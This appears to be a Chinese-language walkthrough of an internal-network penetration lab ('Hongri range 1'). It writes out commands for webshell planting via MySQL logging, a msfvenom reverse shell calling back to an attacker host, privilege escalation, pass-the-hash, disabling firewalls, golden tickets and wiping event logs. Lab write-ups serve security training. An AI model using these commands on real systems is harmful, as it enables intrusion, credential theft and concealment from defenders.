红日靶场1
前言
靶场来自无境,尽量写的详细一点
过程
web渗透-sql日志
首页
使用tscan进行目录扫描
访问phpMyAdmin后台,root/rootshow variables like '%general%'
这里显示的日志的开关以及日志存放的位置
我们要做的事将一句话代码写进shell.php中,将日志开关打开,然后改变日志存储的文件位置set global general_log = "on"set global general_log_file = "C:\\phpStudy\\WWW\\shell.php"
然后使用蚁剑连接;

web渗透-YXcms
这个是在目录是在御剑里扫描出来的http://192.168.111.20/yxcms/index.php/
尝试登录
这里的模板文件是可以编辑的,我们写入一句话木马。
继续扫描发现目标文件http://192.168.111.20/yxcms/protected/apps/default/view/default/info.php
后渗透
前期准备
接着我们上线msf
生成木马msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.111.25 LPORT=5566 -f exe -o stageless.exe
然后配置好后run
1 | use exploit/multi/handler |

使用蚁剑上传木马执行
getshell
然后我们判断一下是否在域内
1 | whoami |


这里我们在上线一下cs,因为无境的靶场只能一台机器连接vpn,这里我是只用kali来做的
客户端cs启动命令:java -Dfile.encoding=UTF-8 -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Duser.language=en -javaagent:uHook.jar -jar cobaltstrike-client.jar $* 
到这里我们cs和msf都能上线了,但是这个环境和正常的环境有点不同,这里需要使用ms14-058提权,那么我们在msf里进行操作。
拿到meterpreter之后
1 | background |

ok,这里把system上线一下cs
信息收集
1 | net view # 查看局域网内其他主机名 |
这里我们所在的域名已经知道了
接着看一下有几个域
看一下域内的主机
查询域内ip,使用arp -a查询
看一下域控可以通过ping域名的方式


小总结一下:
192.168.52.141 域名:ROOT-TVI862UBEH.god.org
192.168.111.20 域名:STU1.god.org
192.168.52.138 域控:owa.god.org
权限维持
正常我们将木马文件执行之后,会在靶机的任务列表中产生一个进程,权限维持就是将这个进程寄生在另一个进程之上,这样不容易被发现
getpid看一下当前进程是3544
我们要维持这个权限
ps看一下进程
我们把它移到3400下migrate 3400
这样就成功了,如果不知道要迁移到那个进程可以使用run post/windows/manage/migrate,系统会自动寻找指定进程进行迁移。
内网横向
横向这里使用stowaway做一个代理
./linux_x64_admin -l 9999
启动服务端C:\Users\Public\windows_x64_agent.exe -c 192.168.111.25:9999
转发流量到服务端
然后服务端转发到本地
138的
这里扫描的太慢了,懒得等了
直接放大佬们的扫描结果了
141的
138是有一个445端口开放的,可以试一下永恒之蓝漏洞
1 | use exploit/windows/smb/ms17_010_eternalblue |

没有成功
pth拿下域控
PTH就是运行攻击着在不知道目标机器账号密码的情况下,直接利用提取到的用户密码hash值(NLTM Hash)去对机器中的其他机器进行身份验证。
所以这里我们已经对system上线到了cs中,直接用cs内置插件抓取明文密码试试
这里可以看到NTLM,在msf中使用哈希传递
1 | auxiliary/admin/smb/psexec_command #在目标机器上执行系统命令 |
1 | msfconsole |
寄
cs横向
接下来尝试csshell netsh advfirewall set allprofiles state off
先关闭防火墙
刚刚我们在端口扫描的时候发现445端口开放,所以可以创建SMB监听隧道。
- SMB监听隧道的核心原理是利用SMB协议在目标主机上建立隐蔽的通信通道,绕过传统防火墙和入侵检测系统的监控。
- SMB协议基础:文件共享,域名解析等,默认通过445端口通信
创建SMB监听器
然后(这里要先扫描一下端口)
使用psexec横向移动
最后配置好
launch之后
横向成功shell netsh advfirewall set allprofiles state off
关闭防火墙
权限维持(黄金票据)
黄金票据是指能够绕过认证授权机制并获得所需权限的票据。
收集信息
hash,SID,域名
hash58e91a5ac358d86513ab224312314061:::
S-1-5-20
写入之后
成功登录
日志清理
1 | shell wevtutil cl security //清理安全日志 |
flag

